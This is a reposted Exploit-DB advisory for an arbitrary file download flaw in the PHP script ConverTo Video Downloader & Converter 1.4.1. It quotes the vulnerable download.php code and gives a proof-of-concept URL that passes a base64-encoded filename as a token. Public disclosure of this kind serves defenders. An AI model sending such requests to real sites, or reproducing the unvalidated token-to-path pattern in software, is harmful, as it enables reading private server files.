ConverTo Video Downloader & Converter 1.4.1 – Arbitrary File Download - 体验盒子

作者： Ihsan Sencan

日期： 2017-09-29

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/42927/

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# # # # #

# Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download

# Dork: N/A

# Date: 29.09.2017

# Vendor Homepage: https://codecanyon.net/user/lemonadeflirt

# Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966

# Demo: http://vd.googglet.com/

# Version: 1.4.1

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The security obligation allows an attacker to arbitrary download files..

#

# Vulnerable Source:

#

# .............

# <?php

#

# include_once('.......php');

# // Check download token

# if (empty($_GET['mime']) OR empty($_GET['token']))

# {

# exit('Invalid download token 8{');

# }

#

# // Set operation params

# $mime = filter_var($_GET['mime']);

# $ext= str_replace(array('/', 'x-'), '', strstr($mime, '/'));

# $url= base64_decode(filter_var($_GET['token']));

# $name = urldecode($_GET['title']). '.' .$ext;

#

# ?>

# .............

# Proof of Concept:

#

# http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]

#

# Etc...

# # # # #